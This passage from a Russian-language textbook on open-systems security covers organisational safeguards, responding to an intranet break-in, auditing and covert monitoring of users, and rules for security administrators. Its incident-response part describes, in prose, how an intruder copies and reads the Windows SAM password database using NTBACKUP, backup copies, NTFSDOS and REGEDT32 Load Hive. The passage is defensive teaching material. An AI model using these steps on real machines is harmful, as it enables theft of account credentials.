5. Обеспечение информационной безопасности в открытых системах	459
	выделение специальных изолированных помещений для размещения аппаратуры, хранения носителей и работы персонала;
	выделение специальных помещений для обработки конфиденциальной информации, в которых исключается ее утечка по каналам визуального наблюдения и перехвата побочных излучений (акустических, электромагнитных и др.);
	обследование выделяемых под зоны безопасности помещений квалифицированными экспертами и оснащение этих помещений необходимыми средствами защиты (шторы, генераторы шума и т. д.);
	установка систем управления доступом в здание и в помещения, в которых находятся носители данных, сетевое оборудование, серверы, рабочие станции и т. п.;
	организация постов охраны и проверки документов;
	установка на дверях режимных помещений кодовых замков, переговорных устройств вызова персонала;
	установка систем видеонаблюдения, в том числе использующих методы компьютерной обработки изображений;
	установка систем опознавания личности (в том числе биометрических), автоматически управляющих доступом в помещения;
	защита аппаратуры и носителей информации от похищения;
	установка механических устройств крепления, препятствующих несанкционированному перемещению отдельных аппаратных блоков;
	нанесение специальных меток, сигнализирующих о выносе аппаратуры за пределы охраняемых зон;
	установка специальных запирающих устройств, препятствующих доступу к внутренним узлам аппаратуры: дисководам, сменным платам и микросхемам;
	приобретение сейфов и специальных шкафов для хранения носителей, сменных узлов аппаратуры, запасных частей и расходных материалов.
2.	Регламентация технологических процессов:
	назначение лиц, ответственных за эксплуатацию и безопасность подсистем интранета (администраторов) с четким указанием их обязанностей и полномочий;
	разработка инструкций для персонала и пользователей;
	определение перечня ресурсов интранета (списка аппаратуры с инвентарными и заводскими номерами и указанием мест размещения, списка программ с указанием мест основного и резервного хранения, а также ответственных за сопровождение).
3.	Регламентация работы с конфиденциальной информацией:
	классификация информации по степени ее важности и секретности (в частности, конфиденциальной должна считаться любая информация, отражающая сведения о структуре и механизмах системы безопасности);
	обработка и хранение конфиденциальной информации только в помещениях зоны безопасности;
	хранение и обмен конфиденциальной информацией по открытым линиям связи только в зашифрованном виде.
4.	Регламентация процедур резервирования:
	организация регулярных процедур резервирования и хранения копий критических данных;
	установка и периодическая проверка резервных устройств обработки данных;
460	Информационная безопасность открытых систем
	подготовка специалистов, способных заменить администраторов систем;
	регистрация и хранение носителей информации в строго определенных местах, выдача их уполномоченным лицам с необходимыми отметками в регистрационных документах.
5.	Регламентация процедур внесения изменений:
	назначение лиц, уполномоченных изменять и осуществлять конфигурацию аппаратных средств, а также структуру и параметры ПО;
	определение тех, кто должен быть проинформирован о внесении изменений;
	регламентация предварительного тестирования новых средств и порядок установки в интранете нового аппаратного и программного обеспечения;
	изменения должны документироваться и сопровождаться полной проверкой эффективности действующих аппаратных и программных механизмов защиты.
6.	Регламентация работы персонала и пользователей:
	ведение и периодическая корректировка списков сотрудников с указанием доступных им аппаратных средств, программ и данных;
	организация регулярных процедур проверки и корректировки полномочий пользователей и персонала;
	создание и контроль за работой механизмов аварийного отключения систем защиты;
	присвоение пользователям идентификационных номеров, назначение и периодическая смена паролей и ключей шифрования;
	регламентация доступа пользователей и персонала интранета по времени (дням недели и времени суток);
	организация контроля доступа с проверкой полномочий к аппаратным средствам, ПП, БД, системному ПО, конфиденциальной информации;
	передача отдельных функций защиты пользователям систем (назначение индивидуальных паролей доступа к ПК и ключей для шифрования личных данных);
	применение специальных мер защиты от умышленных и неумышленных несанкционированных действий персонала интранета;
	применение административных мер наказания в случае нарушений действующих требований безопасности.
7.	Подбор и подготовка кадров:
	анализ деловых и личных качеств кандидатов на должности (будущих пользователей, сопровождающего персонала и администраторов интранета) в соответствии с общей политикой организации в вопросах подбора кадров;
	ознакомление персонала и пользователей с сутью проблемы безопасности и изложение общих принципов защиты интранета и основных положений ПБ;
	организация изучения персоналом и пользователями конкретных процедур и механизмов в действующей системе защиты;
	проверка знания сотрудниками своих персональных обязанностей по соблюдению мер безопасности;
	формирование у персонала понимания важности мер безопасности.
8.	Меры контроля и наблюдения:
	систематическая проверка состояния и работоспособности всех средств и механизмов защиты (системный аудит);
	периодический анализ действительной степени угроз интранету;
5. Обеспечение информационной безопасности в открытых системах
461
	регулярный сбор, фиксация, обработка и отображение сведений о функционировании механизмов защиты;
	ведение регистрационных (электронных) журналов обращений к защищаемым компонентам интранета;
	регистрация и анализ любых несанкционированных действий, зафиксированных в системе защиты;
	предупреждение пользователей о необходимости соблюдения правил безопасности;
	оповещение о нарушении безопасности (определяются: первые шаги, которые нужно предпринимать при обнаружении факта нарушения безопасности интранет (как внутренними сотрудниками, так и внешними пользователями); исходная информация, которую нужно отслеживать, документировать и передавать в соответствующие инстанции; последовательность всех дальнейших действий вспомогательного персонала и группы, специально определенной на случай осуществления атаки на интранет; кого, в каком порядке и в каких случаях оповещать о нарушении безопасности);
	информирование персонала о выходе из строя или нарушении работы средств защиты;
	подача условных сигналов при нарушениях или попытках нарушений механизмов защиты;
	систематическое и своевременное уничтожение ненужных данных и программ;
	принятие неотложных и решительных мер в случае нарушения безопасности или возникновения прямой угрозы таких нарушений.
9.	Меры по восстановлению работоспособности системы в случае возникновения нештатных ситуаций. Включают меры по урегулированию инцидентов (определяют, как выполнить анализ происшествия; какие действия предпринять и в какой последовательности для устранения последствий вторжения в интранет злоумышленника; распределение обязанностей по урегулированию инцидентов среди всех членов специальной группы немедленного реагирования на атаки на интранет).
Административное руководство компании подбирает и назначает лиц, отвечающих за безопасность интранета, определяет их положение в организационной иерархии и четко регламентирует их права и обязанности. В филиале эти обязанности могут быть возложены на одного или нескольких специалистов, обслуживающих подсистему интранета или работающих в отделе обшей безопасности. В головном отделении обычно существует управление по безопасности и защите информации.
Важно предусмотреть некоторую децентрализацию ответственности за безопасность и не давать всю информацию о работе систем защиты в руки одного сотрудника. Иначе в случае его болезни или увольнения компания может понести серьезный ущерб.
Относительно статуса ответственных за безопасность интранета внутри организации существуют различные точки зрения. В крупных банках и финансовых учреждениях таких специалистов иногда включают в штат аудиторской службы, где и выполняется анализ рисков и планирование мероприятий по защите. Однако в большинстве случаев специалисты по безопасности работают в компьютерных отделах, руководители которых больше знакомы с техническими проблемами в области вычислительной техники. В последнее время такие специалисты работают в отделах общей безопасности. В некоторых ситуациях прибегают к разделению функций: от
462
Информационная безопасность открытых систем
дел общей безопасности отвечает за административную и оперативную деятельность по защите (распределение паролей, установление полномочий, контроль соблюдения требований безопасности и т. д.), а реализация технических мер возлагается на подразделение обработки информации.
Ответственный за безопасность интранета должен иметь непосредственный контакт с руководителями высшего уровня, выделяющими финансирование на меры защиты. Он планирует и реализует все организационные и технические мероприятия по защите интранета, в частности регламентирует физический и логический доступ к аппаратуре, программам и данным. Физическая защита территорий, зданий и помещений, в которых располагаются вычислительные средства, проводится в рамках общих мероприятий службы безопасности. В обязанности ответственного также входит категорирование обслуживаемых помещений. Обычно различают следующие режимы их работы: открытый с неограниченным доступом; закрытый с разрешением доступа только для обслуживающего персонала; режим зоны безопасности со строго ограниченным доступом. Права на доступ в закрытые помещения и зоны безопасности предоставляет руководитель отдела обработки информации или ответственный за компьютерную безопасность. Особое внимание уделяется регламентации посещений закрытых помещений сотрудниками других подразделений и внешних организаций. Переговоры и деловые встречи обычно проводятся в отдельных изолированных помещениях, а работы сторонних специалистов по сервисному обслуживанию или ремонту должны проходить под контролем уполномоченных лиц.
В соответствии с установленной классификацией данных, пользователей, аппаратуры и помещений ответственный за безопасность разрабатывает многоуровневую подсистему управления доступом для решения следующих задач;
	идентификация пользователей, персонала и ресурсов интранета путем присваивания каждому из них персонального идентификатора (кода, имени и т. д.);
	аутентификация (установление подлинности) объекта по предъявляемым свидетельствам (паролям, ключам, кодам или другим признакам);
	проведение авторизации (проверки полномочий) запросов субъекта согласно установленному регламенту работы;
	организация работы в соответствии с заданным регламентом;
	протоколирование обращений к защищаемым компонентам интранета;
	реагирование при несанкционированных действиях (задержка или отказ обслуживания, сигнализация и т. п.).
В обязанности ответственных за безопасность интранета должен входить и контроль за соблюдением в помещениях центра обработки информации нормальных условий эксплуатации аппаратуры, в частности температуры и влажности воздуха. Это обеспечит защиту от статического электричества. Кроме того, следует периодически проверять исправность сетевых розеток и защищать магнитные носители информации от воздействия магнитных полей, и даже табачного дыма. Помещения должны оборудоваться средствами пожарной сигнализации и пожаротушения. Аппаратуру следует подключать к сети переменного тока через устройства подавления выбросов и помех, а для защиты файловых и связных серверов применять источники бесперебойного питания.
Регламент работы должен предусматривать отключение компьютера или установку в исходное состояние механизмов управления доступом к нему в случае ухода
5. Обеспечение информационной безопасности в открытых системах
463
оператора. На своем рабочем месте он не должен оставлять никаких магнитных носителей.
Меры по восстановлению информации при ее утрате и действия в аварийных ситуациях должны быть спланированы заранее. Правила резервного хранения информации должны предусматривать дублирование данных и программ на определенных носителях, периодическое обновление копий и хранение резервных носителей вне рабочих помещений в специальных сейфах. Процедуры резервирования следует документировать. Хранимые данные должны регулярно анализироваться, а выявленная при этом неиспользуемая информация после обоснования стираться. Доступ к резервным копиям должен быть прост, но контролируем. Процессы восстановления информации должны проходить тестирование и верификацию.
Действия при возникновении аварийной ситуации (например, пожар или затопление) предусматривают не только процедуры восстановления информации, но и ремонт и замену оборудования, а также выполнение обязательств перед внешними организациями, клиентами и т. д. Соответствующие процедуры документируются, а документы хранятся вне помещений центра обработки информации. План действий в случае аварийных ситуаций должен ежегодно пересматриваться.
Меры защиты, как и сама ПБ в отношении интранета, должны быть доведены до сведения администраторов, пользователей и вспомогательного персонала.
Перечислены далено не все организационно-правовые методы защиты ресурсов интранета. Каждая компания разрабатывает их на приведенной основе с учетом специфики своего бизнеса.
5.11. Некоторые рекомендации по обеспечению информационной безопасности открытых систем
5.11.1. ЧТО ДЕЛАТЬ В СЛУЧАЕ ВЗЛОМА СИСТЕМЫ
Может наступить момент, когда любому пользователю, или системному администратору, или группе обеспечения безопасности интранета покажется, что их сеть стала жертвой взлома. Если замечено отсутствие, изменение или повреждение некоторых файлов или появление новых, то, возможно, так оно и есть.
В Unix-системах проверяется целостность таких файлов, как, например, /etc/passwd, /etc/group, /.rhosts, /etc/hosts.equiv, /bin/.rhosts, /var/ур/* (nis maps) или файлов окружения root (.login, .cshrc, .profile, .forward)/, обнаруживаются попытки замены бинарных файлов (binaries) /bin/login, /usr/etc/in.telnetd, /usr/etc/in.ftpd, /usr/etc/in.tftpd, /usr/ucb/netstat, /bin/ps, /bin/ls, /usr/sbin/ifconfig, /bin/df, /usr/lib/libc, /usr/ucb/cc и т. п., а также файлов конфигурации маршрутизаторов и особо важных баз данных.
Чаще всего злоумышленники скрывают свои файлы в директориях /tmp; /var/tmp; /etc/tmp; /usr/spool; /usr/lib/cron.
(Местоположение всех перечисленных файлов в различных версиях Unix может изменяться.)
Если используется сетевая информационная система NIS, то можно анализировать карту файлов NIS.
В ОС Windows изменения нужно искать в файловых системах FAT12 и FAT16 (Windows 9x/ME/NT/2000/XP/Server 2003), FAT32 (Windows 9x/ME/2000/XP/Server
464
Информационная безопасность открытых систем
2003) и NTFS (Windows NT/2000/XP/Server 2003) (NTFS поддерживает контроль доступа к данным, включая отдельные файлы, и привилегии владельца, играющие важную роль в обеспечении целостности жизненного цикла конфиденциальной информации). Здесь обычно основным объектом атаки являются административные полномочия. Их можно получить, узнав в хешированном или символьном виде пароль администратора системы, который хранится в БД учетных записей безопасности (Security Account Management, или SAM, Database). Эта база обязательно имеется на каждом компьютере с Windows NT/2000/XP/Server 2003. В ней хранится вся информация, используемая для аутентификации пользователей при интерактивном входе в систему и при УД к ней по сети. По умолчанию доступ к файлу \winnt_root\ System32\Config\SAM заблокирован для всех без исключения ее пользователей. Тем не менее с помощью программы NTBACKUP любой обладатель права на резервное копирование файлов и каталогов Windows может перенести этот файл с жесткого диска на магнитную ленту. Резервную копию реестра можно также создать утилитой REGBAK из состава Windows NT Resource Kit. Кроме того, несомненный интерес для любого взломщика представляют резервная копия файла SAM (SAM.SAV) в каталоге \winnt_root\System32\Config и сжатая архивная копия SAM (файл SAM._) в каталоге \winnt_root\Repair.
Также указанный файл можно получить, загрузившись с дискеты или CD-ROM и воспользовавшись программой NTFSDOS или аналогичной. В случае загрузки альтернативной ОС (например, Unix) процесс копирования файла SAM существенно упрощается.
При наличии физической копии файла SAM извлечь хранимую в нем информацию не представляет большого труда. Загрузив файл SAM в реестр любого другого компьютера с Windows (например, с помощью команды Load Hive программы REGEDT32), можно детально изучить учетные записи пользователей, чтобы определить значения их идентификаторов ID и шифрованные варианты хешированных паролей. Зная ID пользователя и имея зашифрованную версию его хешированного пароля, компьютерный взломщик может попытаться расшифровать этот пароль, чтобы использовать его для получения сетевого доступа к другому компьютеру. Однако для интерактивного входа в систему одного лишь знания хешированного пароля недостаточно. Необходимо получить его символьное представление.
Для обнаружения изменений в файловых системах существуют специальные средства, позволяющие обнаруживать несанкционированно сделанные исправления как в самих файлах, так и в файловой системе каждого компьютера интранета (в зависимости от установленной на нем ОС).
С точки зрения прикладной программы файл — это именованная область внешней памяти, в которую можно записывать и из которой можно считывать данные. Правила именования файлов, способ доступа к данным, хранящимся в файле, и структура этих данных зависят от конкретной системы управления файлами (СУФ) и, возможно, от типа файла. СУФ берет на себя распределение внешней памяти, отображение имен файлов в соответствующие адреса во внешней памяти и обеспечение доступа к данным. Поскольку файловые системы являются общим хранилищем файлов, принадлежащих разным пользователям, СУФ должны обеспечивать контроль доступа к файлам. В общем виде подход состоит в том, что по отношению к каждому зарегистрированному пользователю интранета для каждого существующего файла должны
5. Обеспечение информационной безопасности е открытых системах
465
быть указаны действия, которые разрешены или запрещены данному пользователю. Но это вызывает большие накладные расходы как по хранению избыточной информации, так и по ее использованию для контроля правомочности доступа. Поэтому в большинстве современных СУФ применяется подход к защите файлов, впервые реализованный в Unix. В этой ОС каждому зарегистрированному пользователю соответствует пара целочисленных идентификаторов: идентификатор группы, к которой относится этот пользователь, и его собственный идентификатор в группе. Соответственно при каждом файле хранится полный идентификатор пользователя, который создал этот файл, и отмечается, какие действия с файлом может производить он сам, какие действия с файлом доступны для других пользователей той же группы и что могут делать с файлом пользователи других групп. Эта информация очень компактна, при проверке требуется небольшое количество действий, и этот способ контроля доступа удовлетворителен в большинстве случаев.
Разные файловые системы имеют разные атрибуты файлов, дополняющие возможности аудита.
FAT хранит только информацию о дате/времени последнего изменения файла. Для директорий это момент ее создания.
Файловая система ОС Unix хранит дату/время создания файла, последнего изменения файла и последнего обращения к файлу. Директория меняется при создании, удалении и переименовании файлов в ней и адекватно реагирует на обращения к ней.
В некоторых файловых системах мейнфреймов фиксируется не только дата/время обращения, но и кто именно обратился к данной информации.
NTFS содержит множество средств разграничения прав объектов. Эта файловая система использует журнал изменений для отслеживания изменений, сделанных в файлах. По умолчанию NTFS обновляет штамп времени и даты, каждый раз, когда происходит обращение к файлу или папке. Также имеются функции безопасности (например, использующие дескриптор безопасности файла и каталога), позволяющие администратору указать пользователей, которым разрешен или запрещен доступ к тем или иным файлам и каталогам. NTFS применяет стандартные технологии журналов транзакций и восстановления. С помощью файлов журнала и информации контрольной точки выполняется автоматическое восстановление согласованности файловой системы в случае системного сбоя.
Часто, посмотрев, кто, когда и откуда регистрировался в системе, можно вычислить взломщика. Поэтому при взломе интранет лог-файлы с информацией такого рода становятся одной из первых жертв. Например, в лог-файлах почтового сервера фиксируется, кто с кем переписывается. По ним иногда можно выявить человека, который отправляет по электронной почте секретные документы в офис конкурирующей организации или послания личного характера.
Очевидно, что лог-файлы должны подвергаться резервному копированию, причем делать это надо достаточно часто, но хранить можно не очень долго.
Если обнаружено, что пользователи входили в систему из странных мест в неподходящее время или выполняли странные команды, то вполне вероятно, что хост подвергся нападению. Также явные признаки в виде сбоев, неправильного функционирования программ и т. п. могут указать на злоумышленные вторжения из Интернета.
К сожалению, сегодня злоумышленники обладают достаточными навыками и программными средствами для того, чтобы в интранете никогда не узнали, что на
466
Информационная безопасность открытых систем
хост проникли взломщики, т. е. соответствующим образом корректируются файлы регистрации. Большинство атак замечается, только если данные были повреждены или злоумышленник пренебрег тем, чтобы отредактировать системные файлы регистрации.
После того как определено, что хост подвергся нападению, следует немедленно разорвать соединение с внешним миром и заняться устранением последствий. Прежде всего требуется заменить программы первостепенной важности типа login, Telnet, FTP и другое ПО оригиналами с дистрибутивных дисков или резервных лент. Это необходимо, чтобы удалить из системы все измененные версии программ, которые злоумышленник мог "подменить".
Кроме того, все пароли в системе должны быть изменены. Даже если предполагать, что злоумышленник раскрыл только один из них, никогда нельзя быть уверенным в этом до конца. В большинстве случаев злоумышленник в первую очередь пытается собрать как можно больше паролей, чтобы обеспечить себе возможность повторного входа в систему. Работая в среде Unix, можно быть абсолютно уверенным, что злоумышленник скопировал файл с паролями для его дальнейшего исследования, поэтому изменение всех паролей просто необходимо.
По возможности необходимо установить причину взлома и устранить это слабое место в интранете, протестировав его специально предназначенными для этого программами. Все потенциальные точки несанкционированного входа в систему надо проранжировать (расположить в порядке убывания угроз для интранета и финансового ущерба от их реализации) и определить меры защиты для каждой из них или просто устранить их.
Возможно, системный администратор или группа обеспечения безопасности интранета захочет установить ловушки для взломщика в надежде проконтролировать его действия в дальнейшем. Но эти намерения могут быть поняты злоумышленником, который постарается предпринять ответные действия. Не следует недооценивать его, ведь под удар может быть поставлена личная информация отдельного пользователя или информация всей компании.
В случае взлома в действие должна вступать специально созданная для этого группа немедленного реагирования. По заранее разработанному плану она документирует факт взлома интранета, устраняет последствия атаки на систему и осуществляет ее восстановление.
Какова зарубежная практика документирования сетевых атак (наука, занимающаяся изучением сбора доказательств компьютерных преступлений называется ки-берфорензикой - от англ, cyber forensics)? Для того чтобы профессионально комментировать все обнаруженные во время записи факта атаки ее признаки и последствия, приглашается специалист из фирмы, профессионально занимающийся вопросами компьютерной безопасности. Этот человек помогает выяснить, каким образом злоумышленникам удалось проникнуть в систему, на какие компоненты они оказывали воздействие и что можно сделать для предотвращения подобных инцидентов в будущем. Такой специалист должен обладать глубокими знаниями в области компьютерных и сетевых технологий, способностью к аналитическому мышлению, склонностью к освоению новых направлений, выходящих за рамки повседневной рутины, знаниями хакерского инструментария, а также профессиональным чутьем и умением находить злоумышленников среди сотрудников самой компании. С помощью сво
5. Обеспечение информационной безопасности в открытых системах	467
бодно распространяемых или коммерческих инструментальных средств этот специалист и группа по расследованию инцидентов, состоящая из сотрудников компании, создают "моментальный снимок" компьютерной системы без нарушения целостности текущего состояния дисков в прямом и переносном смысле. Делается фотоснимок монитора атакованного компьютера и осуществляется запись (в трех экземплярах: один отдается следственным органам, второй - руководству компании и третий помещается в сейф в банке и служит своеобразным эталоном при дальнейшем расследовании) на магнитные носители всей информации, которая в последний момент была на его жестком диске. После этого ищутся интересные сведения в популярных приложениях, в файловых системах, на жестких дисках (и при некоторых условиях даже среди удаленных данных). Этому помогает расширенный анализ журналов регистрации прикладных и системных приложений, серверов баз данных, веб-серверов и т. д. с целью выявления событий, происходящих во время атаки, для дальнейшего анализа и исследований.
Когда определены причины и методы взлома системы, требуется попробовать установить злоумышленника. Компьютерная преступность не имеет границ. Эта ее особенность осложняет как поиск и идентификацию лиц, совершающих международные преступления с использованием компьютерных технологий, так и определение страны, и соответственно конкретного национального законодательства, в соответствии с которым киберпреступления должны караться. Государствами-членами Совета Европы и рядом других стран в Будапеште 23 ноября 2001 г. подписана международная "Конвенция о киберпреступности". Она содержит и разделы, дающие рекомендации по сбору доказательств компьютерных преступлений. Конвенция довольно подробно излагает вопросы юрисдикции, разъясняя, в каких случаях и на какой территории будут в судебном порядке преследоваться и наказываться люди, совершившие компьютерные преступления. Значение "Конвенции” выходит за рамки чисто законодательных вопросов. Этот документ закладывает основу для расширения практического сотрудничества российских и европейских правоохранительных структур в предотвращении и раскрытии киберпреступлений.
После перечисленных действий наступает этап ликвидации последствий атаки и восстановление утраченной (или измененной) информации с резервных копий и лицензионных дисков. Причем во всем ближайшем окружении атакованного компьютера (или иного устройства) рекомендуется переустрановить ПО, переконфигурировать настройки и восстановить данные. Ни у кого нет уверенности, что на случай своего "последующего" возможного возвращения в интранет злоумышленник не оставил где-то средства, упрощающие ему повторный взлом системы.
Для предотвращения последующих посягательств на интранета со стороны злоумышленников необходимо:
	оставить на сервере, связанном с другими системами, лишь необходимые сетевые службы и учетные записи пользователей;
	периодически проверять файловую систему на наличие изменений;
	внимательно следить за системными журналами интранет и за помещаемой в Интернете информацией о безопасности.
Все эти советы хорошо описаны, например, в документе "WWW Security FAQ", находящемся в Интернете по адресу http://www.w3.org/Security/Faq/ www-security-faq.html.
468
Информационная безопасность открытых систем
5.11.2.	КАК ПРОСЛЕДИТЬ ЗА РАБОТОЙ ПОЛЬЗОВАТЕЛЕЙ
Компаниям, контролирующим применение интранета, часто необходимо оправдать крупные капиталовложения. Чтобы выяснить, каким образом и насколько плодотворно для основной работы сотрудники расходуют суммы, потраченные нанимателем. администрация использует специальные средства. Причина кроется в следующем. В случае непроизводительной работы только одного сотрудника со среднемесячным окладом 350 долл, в течение 4 ч потери организации с учетом упущенной прибыли, амортизации оборудования и т. д. составят около 35-40 долл, в день или 12 тыс. долл, в год. Это и объясняет, почему во многих организациях за работой сотрудников ведется строгий контроль.
Аудит сеансов работы пользователей, аудит доступа к объектам системы и аудит выполняющихся задач являются тремя важнейшими категориями в журнале безопасности (например, Security Log в Windows NT). Можно связать сеансы работы пользователей, процессы и доступ к объектам и построить точную картину деятельности пользователей. Эти виды аудита дают основную информацию при наблюдении за действиями пользователей. К ним можно добавить также не менее показательную информацию: аудит управления учетными записями пользователей, изменения системной политики, использования полномочий и системных событий.
Анализируя полученные во время аудита данные, можно выявить следующую полезную информацию:
	попытки НСД;
	статистику всех операций с локальными и сетевыми файлами;
	статистику работы с приложениями, включая активные окна и интенсивность работы;
	печать документов на принтере (кто, когда, какой документ и на какой принтер);
	инсталляцию и деинсталляцию приложений;
	контроль установленного аппаратного и программного обеспечения на рабочих станциях;
	контроль за подключением-отключением переносных периферийных устройств;
	список активных рабочих станций;
	кто, с какой рабочей станции имел доступ к локальным файлам;
	перехват ввода с клавиатуры с определением активного окна, приложения и языка;
	перечень посещаемых веб-страниц;
	контроль рабочего времени;
	вид текущего экрана любой рабочей станции;
	контроль АО;
	контроль за попытками подключения к локальным ресурсам;
	доступ к реестру;
	список документов, к которым пользователь имел доступ, и т. п.
При обнаружении несанкционированной деятельности в реальном времени у администратора должна быть возможность блокировки рабочей станции и просмотра файловой системы, а также средства отображения собранных данных, внесения изменений в список задач, отправки сообщений и другие функции по удаленному управлению рабочей станцией и скрытому мониторингу действий пользователей интранета (названия некоторых таких средств были приведены в п. 4.1.5).
5. Обеспечение информационной безопасности в открытых системах
469
В России, как и за рубежом, первоначально появились разработки, которые контролировали доступ в Интернет. Наиболее известно созданное техническим управлением ассоциации "Конфидент" в 1997 г. и существующее еще и сегодня средство контроля за сеансами работы в Интернете - программная система Internet Log. В системе аутентификация каждого пользователя осуществляется на основе его личного электронного идентификатора Touch Memory. При запуске системы производится проверка наличия установленной системы защиты от НСД Dallas Lock 4.0 и карты администратора у запускающего программу пользователя. Ведется журнал работы в Интернете, в котором записывается следующая информация: номер карты пользователя, дата и время входа и выхода в Интернет, IP-адрес сервера, к которому происходило подключение, и действие (чтение/запись). Доступ к системному журналу имеет только администратор безопасности. Для каждого пользователя задается свой файл прав доступа к сокетам (Sockets Access Rights, сокет - совокупность адреса хоста и номера порта).
Другая программа - LockWin может управляться с другого компьютера в локальной сети. Возможность удаленного управления используется в компьютерных клубах для организации контроля за сеансами работы компьютеров. Для управления компьютерами зала по локальной сети применяется специальная программа Locker. Эта программа позволяет вести учет сеансов работы и управляет блокировкой компьютеров зала, на каждом из которых установлена программа LockWin. Во время своей работы программа LockWin ведет протокол работы, в который записывается полная информация обо всех сеансах работы. Отчеты по этому протоколу можно получить при помощи программы Locker на компьютере администратора. Программа Locker ведет непрерывный контроль за работой управляемых компьютеров и позволяет получить информацию об их состоянии: включен или выключен, работает ли на нем программа LockWin.
В ОС Windows 2000 встроен инструмент для администраторов безопасности -Group Policy ("групповая политика"). Это одна из наиболее важных функций, предоставляемая Windows 2000 для осуществления контроля пользователей, компьютеров и сетевых ресурсов. Политики являются "правилами", которые определяют опции для настройки установок безопасности файлов, установки ПО, сценариев, запуска и выключения компьютеров, входа и выхода пользователя из системы, установок регистра и перенаправления папок.
Назовем еще ряд интересных средств аналогичного назначения [101].
Утилита R528 прослеживает сеансы работы пользователей и показывает, кто имел доступ к системе во время атаки, разделяет обычные и необычные сеансы работы пользователей, а также позволяет выявить "узкие места" системы безопасности и попытки несанкционированного использования учетных записей. R528 просматривает события с кодами 528 ("успешный вход в систему") и соответствующие им события с кодом 538 ("завершение сеанса") в одном или нескольких .evt-файлах. Утилита представляет отчет, в первой части которого приводятся данные о каждом сеансе - имя пользователя, название компьютера, на котором пользователь открыл сеанс, тип сеанса, его дата и время, а также дата и время завершения сеанса. К сожалению, Windows NT не всегда фиксирует события с кодом 538. Во второй части отчета приводится список несоответствий в сеансах пользователей. Но R528 показывает ту систему, в которую пользователь вошел, а не ту, из которой он обратился к другой сис
470
Информационная безопасность открытых систем
теме. Так, при входе в локальную систему с учетной записью домена фиксируется событие открытия сеанса в локальном журнале безопасности рабочей станции Windows NT, а при обращении к сетевому ресурсу другого сервера событие записывается в журнал именно того сервера, на котором находится данный ресурс. Множество ключей позволяет варьировать вид и степень детализации отчета.
Другая утилита - R529 позволяет отслеживать события с кодом 529, т. е. отказ в доступе. В отчете перечисляются все неудачные попытки входа в систему, приводятся использовавшиеся при этом учетные записи, а также указывается система, с которой пользователь пытался открыть сеанс и тип самого сеанса — локальный или сетевой. R529 пытается распознать простые отказы в доступе и спланированные атаки -неудавшиеся попытки войти в одну и ту же систему более одного раза в течение 5 мин с использованием одной и той же учетной записи. Если сразу после отказа в доступе встретится событие успешного входа, будет зафиксирована ошибка. Если успешный вход был произведен после серии неудачных попыток входа, то будет зафиксирован факт успешной атаки на систему с помощью подбора паролей. Во всех других случаях фиксируется неудавшаяся атака на систему. Этот метод выявления атак далек от совершенства, но он автоматически отсеивает типичные ошибки пользователей, связанные с неверным вводом пароля. Два дополнительных раздела отчета R529 позволяют выявить компьютеры и учетные записи, с которыми связаны наиболее частые отказы в доступе.
Бесплатная утилита NTLast 1.6 и коммерческий продукт NTLast 2.85 компании NT OBJECTives помогают анализировать сеансы работы пользователей. Конечный результат работы утилиты зависит от параметров в командной строке и напоминает Unix-команду last. Ключ /п задает количество событий входа и выхода из системы в одном отчете. Ключи /s и /f позволяют выбрать соответственно только успешные и неуспешные попытки начать сеанс. Ключи /г и /i указывают на удаленный и интерактивный (т. е. локальный) сеансы. Если запрашивался вывод всех успешных сеансов, то NTLast постарается найти не только события входа в систему, но и соответствующие им события окончания сеанса. При этом NTLast работает как R528. Утилита NTLast копии журналов не анализирует, поэтому для журнала удаленной системы нужно задавать ключ /т и указывать название удаленной системы.
Утилита R592, выпускаемая компанией Frank Heyne Software, позволяет выполнять поиск пар событий с кодами 592 и 593 в одном или нескольких журналах и создавать отчеты о том, кто, когда и как долго запускал те или иные процессы. Событие 592 фиксирует запущенный процесс, сохраняя его название, имя пользователя, выполнившего запуск, а также дату и время запуска. Событие 593 фиксирует завершение процесса. Входные и выходной файлы задаются так же, как и в утилите R528. Анализ запускаемых процессов особенно важен для контроля деятельности пользователей на рабочих станциях, однако поскольку полный путь до запускаемого процесса не фиксируется, то опытный пользователь может запутать администратора, если просто переименует запускаемый модуль.
Наиболее часто применяемые программы зарубежного производства аналогичного назначения - для контроля и ограничения доступа к WWW таковы [102]: Cyber Patrol Proxy фирмы Microsystems Software [http://www.microsys.com]; WebSense фирмы NetPartners Internet Solutions [http://www.netpart.com]; On Guard Internet Manager фирмы On Technology [http://www.onguard.on.com]; SmartFilter фирмы Secure
5. Обеспечение информационной безопасности в открытых системах
471
Compyting [http://www.securecomputing.com]; Net Access Manager фирмы Sequel Technology [http://www.sequeltech.com]; SurfWatch for Microsoft Proxy Server фирмы Spyglass [http://www.surfwatch.com].
5.11.3.	KPA ТКИЕ РЕКОМЕНДАЦИИ АДМИНИСТРА ТОРАМ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ
Администраторы ИБ интранета выполняют функции по поддержанию работоспособности сервисов и средств защиты информации и сбору и анализу информации об их функционировании. В их обязанности обычно входят управление аутентификацией, доступом, ключами, шифрованием, трафиком, маршрутизацией и нотаризацией (включая ЭЦП).
Можно сформулировать некоторые универсальные правила, которых следует придерживаться администраторам ИБ интранета.
1.	Не отставайте от хакеров, всегда будьте в курсе последних разработок из области компьютерной безопасности. Оформите подписку на несколько специализированных журналов, в которых подробно освещаются вопросы защиты сетей от взлома. Регулярно просматривайте материалы, помещаемые на хакерских серверах.
2.	Руководствуйтесь принципом разумной достаточности - не стремитесь построить абсолютно надежную защиту. Чем мощнее защита, тем больше она потребляет ресурсов интранета и тем труднее квалифицированно ее использовать.
3.	Храните в секрете информацию о принципах действия защитных механизмов интранета. Чем меньше известно об этих принципах, тем труднее организовать успешную атаку.
4.	Постарайтесь максимально ограничить размеры защищаемого интранета и без крайней необходимости не допускайте его подключения к Интернету.
5.	Перед тем как вложить денежные средства в покупку нового ПО, поищите информацию о нем на хакерских серверах Интернета, изучите его слабые стороны.
6.	Размещайте серверы только в охраняемых помещениях. Подключайте к ним клавиатуру и дисплеи только тогда, когда вам нужно поработать с ними.
7.	Абсолютно все сообщения, передаваемые по незащищенным каналам связи, должны шифроваться и снабжаться ЭЦП.
8.	Если защищаемый интранет имеет соединение с другой, незащищенной сетью, то все сообщения, отправляемые в эту сеть или принимаемые из нее, должны проходить через МЭ, а также шифроваться и снабжаться ЭЦП.
9.	Не пренебрегайте возможностями, которые предоставляет аудит. Интервал между сеансами просмотра журнала аудита не должен превышать одних суток.
10.	Если окажется, что количество событий, помещенных в журнал аудита, велико, изучите внимательно все новые записи, поскольку не исключено, что интранет подвергся атаке злоумышленника, который пытается замести следы своего нападения, зафиксированные в журнале аудита.
